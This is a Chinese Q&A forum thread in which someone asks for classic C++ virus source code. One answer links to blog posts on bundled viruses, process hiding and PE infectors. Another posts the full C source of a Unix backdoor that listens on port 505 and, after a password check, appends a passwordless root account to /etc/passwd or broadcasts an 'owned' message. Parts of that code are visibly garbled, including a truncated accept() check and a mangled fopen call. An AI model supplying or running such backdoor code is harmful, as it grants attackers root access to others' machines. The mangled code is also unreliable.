需要些C++的病毒代码

Question

那些经典的病毒代码,请发给我邮箱...wuliao-zhende@163.com,注明不是exe,是txt,本人对黑客感兴趣,想研究下,谢谢了..
还有忽悠人的,别来了...我虽然不是黑客,但还了解点C++和一些病毒代码...

Answer 1

真想研究不如去网上看文章，专门黑客网站上这种文章不会少。

代码的话，相信我，你直接看看不懂的...

Answer 2

黑客不是玩病毒的~
经典的DOS下病毒代码全是汇编的,比如黑色星期五,中国大麻,完全没有C++的影子.
要玩Windows下的病毒,你还是先去研究研究Windows内核编程吧,不然看了也白看.

Answer 3

C++捆绑病毒:http://hi.baidu.com/ciw%5Fblue/blog/item/dfcdf016b3006252f2de32b0.html

汇编进程隐藏(远线程):http://hi.baidu.com/ciw%5Fblue/blog/item/bcb8b0c4ad66e9cf38db49f3.html

汇编PE病毒:http://hi.baidu.com/ciw%5Fblue/blog/item/18f2c618408f410334fa411b.html

C语言 PE病毒:http://hi.baidu.com/ciw%5Fblue/blog/item/527fef260882db108b82a139.html

全部原创,但是只用于研究,不能用于其他.

Answer 4

给你一个，版本老了一些，但是还是比较经典的：
backdoor病毒源代码

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define PORT 505
#define MAXDATASIZE 100
#define BACKLOG 10

void handle(char *command);
int main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes;
char *bytes;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;

char buf[MAXDATASIZE];
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to
send '7h1s b0x 1s 0wn3d' to all people on the box: ";
if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)
{
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);

}

while(1) { /* main accept() loop */

sin_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \
&sin_size)) ==
{
perror("accept");
continue;
}

inet_ntoa(their_addr.sin_addr);
if (!fork()) {
recv(new_fd, buf,
MAXDATASIZE, 0);
bytes = strstr(buf, argv[1]);

if (bytes != NULL){

send(new_fd, ask, sizeof(ask), 0);

numbytes=recv(new_fd, buf,
MAXDATASIZE, 0);
buf[numbytes] = '\0';
handle(buf);
}
close(new_fd);
exit(0);
}
close(new_fd);

while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child
processes */
}
}

void handle(char *command)
{
FILE *fle;
if(strstr(command, "1") != NULL)
{
fle = f0/*n("/etc/passwd", "a*/;
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");
fclose(fle);
}
if(strstr(command, "2") != NULL)
{
system("wall 7h1s b0x 1s 0wn3d");
}
}